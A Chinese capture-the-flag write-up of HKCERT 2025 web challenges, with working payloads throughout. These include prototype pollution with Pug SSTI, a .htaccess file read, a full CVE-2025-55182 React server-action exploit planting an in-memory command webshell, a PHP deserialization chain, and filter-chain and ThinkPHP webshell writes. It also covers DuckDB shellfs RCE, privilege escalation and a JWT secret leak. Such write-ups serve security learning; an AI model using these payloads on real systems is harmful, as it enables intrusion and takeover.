HKCERT 2025 web 部分wp
这次打的 OPEN 组。第 4,晋级。我所在的联合战队 W&M 这次是 INTERNATIONAL 冠军。想想马上就能在香港见到大家还是有点激动。(不过我中六可能线下去不去还两说,唉,DSE)
写个 web wp:做出来的就写自己的,做不出来就找 W&M 的复现了写。就当是记录了。HKCERT 今年刚好在本人期末前两天,这里也要感谢同队的 pwn 小高手 jerrythepro 带飞我。
(正准备复现呢发现没法开平台......我真日了,那我只能靠记忆和联队的共享文档写了(补:过了一天好像又重新开放靶机了......))
ezjs
新生赛题。给到 NPC。
const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')
const port=80
const app=expres()
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
let verify = true;
Object.keys(obj).forEach((key) => {
if (arr.indexOf(key) > -1) {
verify = false;
}
});
return verify;
}
app.get('/',(req,res)=>{
res.send('hey bro!')
})
app.post('/login',(req,res)=>{
let userinfo=JSON.stringify(req.body)
const user = JSON5.parse(userinfo)
if (waf(user, ['admin'])) {
req.session.user = user
if(req. session.user.admin==true){
req.session.user='admin'
res.send('hello,admin')
}
else{
res.send('hello,guest')
}
}
else {
res.send('login error!')
}
})
app.post('/render',(req,res)=>{
if (req.session.user === 'admin'){
var word = req.body.word
const blacklist = ['require', 'exec']
let isBlocked = false
if (word) {
for (let keyword of blacklist) {
if (word.toLowerCase().includes(keyword.toLowerCase())) {
isBlocked = true
break
}
}
}
if (isBlocked) {
res.send('Blocked: dangerous keywords detected!')
} else {
var hello='welcome '+ word
res.send (pugjs.render(hello))
}
}
else{
res.send('you are not admin')
}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
要登陆 admin。session 密钥是随机的。这里很明显有:
function waf(obj, arr){
let verify = true;
Object.keys(obj).forEach((key) => {
if (arr.indexOf(key) > -1) {
verify = false;
}
});
return verify;
}
会把请求体的东西与 user 这个 object merge 一下。很明显的原型链污染。见:https://mdn.org.cn/en-US/docs/Web/Security/Attacks/Prototype_pollution
在 /login 路由 json 传{"__proto__":{"admin":true}}登录。
很明显 /render 路由有 SSTI 的 sink。这里有黑名单:
const blacklist = ['require', 'exec']
用mainModule找constructor返回一个process的object,再找_fs直接读即可:
word=#{process.mainModule.constructor('return process')().mainModule.constructor._load('fs').readFileSync('/flag','utf8')}
办法很多,也可以参考其他师傅的wp。
BabyUpload
比较不错的一道题。给到顶级。
黑盒,简单测了一下。文件名和文件内容不允许包含p字符(以及一些其它的敏感字符,如?)。上传的文件会去 /upload 目录下。注意到该目录下无php文件。不考虑.user.ini,ban了?,不考虑短标签和asp形式的标签的前提下暂时不考虑 php 木马。看报错页面,注意到为 apache。考虑.htaccess相关攻击(.htaccess中不含字符p)
apache的.htaccess遵循apache expressions规则。考虑以下文档:
https://httpd.apache.org/docs/2.4/expr.html
我们可以用 file 函数读取文件。随后,可以用ErrorDocument控制返回页面的HTTP 状态码。同时apache为我们提供了比较运算符:

可以读文件;可以控制返回页面;可以比较字符。考虑传统的布尔盲注二分法解题。然而,赛后与某位中学组 web 高高手讨论得,如下 payload 亦成立:
ErrorDocument 404 "%{file:/flag}"
可以使用%{}语法。因此,此处可以直接读取文件值。我们上传此.htaccess文件,随后访问/upload/xxx使其触发 404 报错得到 flag。
react
纯 CVE 复现。也是新生赛题。给到 NPC。
CVE 为 CVE-2025-55182。参考:https://wiki.bafangwy.com/doc/896/
公式内存马出。
POST / HTTP/1.1
Host: XXXX
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
访问 /exec?cmd=cat%20/f* 得到 flag。
easy-lua
十年内无人能懂出题人想法。给到拉完了。
是一个经典的 Jail 类型题目。然而黑盒。这里的题解是,用以下 payload:
for name, value in pairs(_G) do
if type(value) == "function" then
print(name)
end
end
获取当前沙箱内所有函数。有:

注意到有S3cr3t0sEx3cFunc。猜测为危险函数。调用执行命令获得 flag:

至于如何想到有隐藏的恶意函数,而又如何想到该函数如何使用,本人不太清楚。
r
好题,给到顶级。
<?php
error_reporting(0);
highlight_file(__FILE__);
class RequestHandler {
public $processor;
public $action;
public function __construct() {
$this->processor = new class {
private $handle;
public function __construct() {
$this->handle = tmpfile();
}
public function __wakeup() {
$this->handle = null;
}
public function execute() {
if (!is_resource($this->handle)) {
die("Invalid resource state<br>");
}
system($_GET['cmd']);
}
};
}
public function __destruct() {
if (!is_array($this->action)) {
die("Error: action must be an array");
}
$cb=$this->action;
$cb();
}
}
$payload = $_GET['p'] ?? 'O:14:"RequestHandler":N';
@unserialize($payload);
php中有可调用数组一说。当数组的第一个元素为 object,第二个元素为函数名称时。直接 call 这个数组会调用该 object 下的函数。
注意到:
public function __wakeup() {
$this->handle = null; // 将handle设为null
}
这里不能让他调用到 __wakeup 否则后续的 is_resource 检查会失败。PHP的__wakeup()在对象完全构造后调用,但我们可以通过引用或特殊构造绕过。这里我们尝试通过回调__construct来构造。
利用链:
O:14:"RequestHandler":2:{ # 外层RequestHandler对象
s:9:"processor";N; # processor为null
s:6:"action";a:2:{ # action是数组,有2个元素
i:0;O:14:"RequestHandler":2:{ # 第0个元素:内层RequestHandler对象
s:9:"processor";N; # processor为null
s:6:"action";a:2:{ # action是数组
i:0;R:5; # 引用到第5个元素
i:1;s:7:"execute"; # 字符串"execute"
}
}
i:1;s:11:"__construct"; # 第1个元素:字符串"__construct"
}
}
此处第5个元素为内层的RequestHandler。在PHP序列化中,元素的计数从1开始。
- 外层RequestHandler对象(位置1)
- 属性"processor"(null,位置2)
- 属性"action"(数组,位置3)
- 内层RequestHandler对象(位置4)
- 内层对象的属性"processor"(null,位置5)← R:5引用的就是这里
R:5创建了对processor的引用。__wakeup()在对象反序列化时立即调用,但__construct()在之后被回调。通过回调__construct(),重新创建了匿名类对象,重置了$handle。
整理了一下大概是:
- 反序列化开始
- 创建外层对象
- 创建内层对象(此时匿名类__wakeup()触发,handle=null)
- 反序列化完成
- 外层对象__destruct()触发
- 调用[内层对象, "__construct"]回调
- 内层对象__construct()执行,重新创建匿名类对象(handle=有效资源)
- 调用[processor引用, "execute"]回调
- execute()检查handle资源有效
- 执行system($_GET['cmd'])
随后传入合适的cmd打完。
insph
依旧新生赛。给到 NPC。
查看源码时只需要注意到:
if (isset($_GET['data'])) {
$data = $_GET['data'];
if (preg_match("/zip|phar|uploads/i",$data)){
exit("Don't use dangerous protocol!");
}
file_put_contents($data, file_get_contents($data));
echo "Data processed successfully!";
exit;
}
这里有任意file_put_contents和file_get_contents。我们通过 filter chain 可以构造 resource 为任意文件的 php 一句话木马。而此处file_put_contents的第一个参数(即写入文件名)为 data 本身。
我们都知道。在file_put_contents函数中,filter 链子的结果就是最后的 resource。因此我们在 resource 里填入木马文件名,再使用filter chain技术使得file_get_contents的返回结果为一句话木马即可。
这样,file_put_contents的结果就是木马名称,而file_get_contents的结果就是一句话木马。
python3 php_filter_chain_generator.py --chain '<?php system($_GET[1]); ?>'
php://temp 改成 a.php 直接写 webshell。访问/a.php?1=cat%20/f*打完。
renderme
题目本身的设计还行。但是毫无引导真的想不到是 thinkphp 模板渲染啊。给到 NPC。
首先随便报个错就能发现是 thinkphp v8.1.3 框架。这个版本打不了常见的 CVE。这里的正解是 SSTI。
以防你不知道 thinkphp 还有模板功能:https://doc.thinkphp.cn/@think-template/default.html
发现是有 WAF 的。黑盒测了以下发现 SERVER.HTTP 的东西可以用,而且可以用 file_put_contents 写。所以我们这里用外带逃逸,把一句话放在 HTTP 头里用 file_put_contents 写进服务器:
模板的使用方法:

?name=``{$_SERVER.HTTP_1 | file_put_contents=$_SERVER.HTTP_2}
这样就可以调用 file_put_contents 并且将参数逃逸到 HTTP Headers 中。此处我们添加 HEADER
1: 1.php
2: system($_GET[1])
就可以把一句话木马写在 1.php 里。
随后发现要提权。这里查看 linux 内核版本可以打 OOM 的 choom 提权:
1.php?1=choom -n nl /root/f*
打完。
Dam Breach
队友做的。太强了。是利用一个很隐蔽的DuckDB支持做题解。给到夯。
打开题目是一个 cloud beaver。有执行所支持的 SQL 脚本的权限。要连接数据库我们可以使用 :memory: 连接其内存数据库。

本地搭建一个服务发现他是默认不支持DuckDB的。会有如下安全警示:

注意到题目中的服务支持DuckDB。那么就可以考虑用DuckDB去打。先选中DuckDB随后连接内存数据库即可执行DuckDB的 SQL 语句。阅读提示发现DuckDB可以让我们有权限访问本地文件。故此处考虑读文档找有啥函数可以读:https://duckdb.org/docs/stable/guides/file_formats/read_file
这里能用如:
SELECT * from read_csv('/etc/passwd');
读取到/etc/passwd。但是没有/flag,估计是要 RCE。
注意到DuckDB支持插件功能。这里找到一个插件:https://duckdb.org/community_extensions/extensions/shellfs
该插件可以帮助我们传入 shell 命令作为参数。

因此我们先安装此插件:
INSTALL shellfs FROM community;
以及
LOAD shellfs;
随后就可以采用如下方式 RCE:
SELECT * from read_csv('whoami |');
那么后面就是一个提权。先看看 root 权限的东西都有啥:

这里是一个 SUID 提权。找一下发现 find 有 root 权限。用经典的 find SUID 提权打完。

nettools
强网拟态线下决赛的时候我是不是见过这个题目啊(恼),给到拉完了。
前半部分是原题。后半部分融了个意义不明的 FastMCP 环节。
代审。先去绕过 auth 系统拿 admin。然后再黑盒打 FastMCP 的相关利用。
注意到:
def verify_token(token: str) -> TokenData:
print(f"Token to verify: {token}")
try:
SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
except Exception:
raise HTTPException(
status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
detail=f"Token custom check failed: {traceback.format_exc()}"
)
try:
payload: dict[str, Any] = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])
username: str = payload.get("sub")
if username is None:
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: 'sub' missing")
is_admin = (username == settings.ADMIN_USERNAME)
return TokenData(username=username, is_admin=is_admin)
except jwt.PyJWTError:
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token: signature or expiration failed")
这里报错用了traceback.format_exc()打印异常信息。那么我们可以利用这个信息来获取到 SECRET_KEY。
我们构建一个畸形的 token 让他失败就行了。比如:

用 padding 搞崩他的 base64 解码。通过traceback.format_exc()里的信息获泄露到 SECRET_KEY。随后jwt.io用泄露的SECRET_KEY签一个 admin 用户的 auth 即可。
进去之后是一个 SSRF。写个脚本挨个端口访问就能发现 9000 端口有东西。访问一下发现是 FastMCP 框架。
所以我们这里先初始化拿一下 MCP 的 session ID 。随后用如下 payload 列一下工具
HEADER:
{
"Accept": "application/json, text/event-stream",
"Content-Type": "application/json",
"mcp-session-id": "<MCP_SESSION_ID>"
}
BODY:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/list",
"params": {}
}
prompts/list下有个where_is_flag的tools,调用这个工具发现 flag 在 /root/1ffflllaaaggg。
从resources/templates/list中可以得知:

这个resource/read可以从 /tmp 下任意读。考虑路径穿越。禁止了除base64://tmp/外的/考虑 URL 编码绕过:
HEADER:
{
"Accept": "application/json, text/event-stream",
"Content-Type": "application/json",
"mcp-session-id": "<MCP_SESSION_ID>"
}
BODY:
{
"jsonrpc": "2.0",
"id": 2,
"method": "resources/read",
"params": {
"uri": "base64://tmp/%2f..%2froot%2f1ffflllaaaggg"
}
}
打完。
这里还要准备期末后面的题就先放着了。比赛的时候也没做出来,后面也得去看 W&M 的题解再补。先准备期末。
我们 2.6 香港见。

浙公网安备 33010602011771号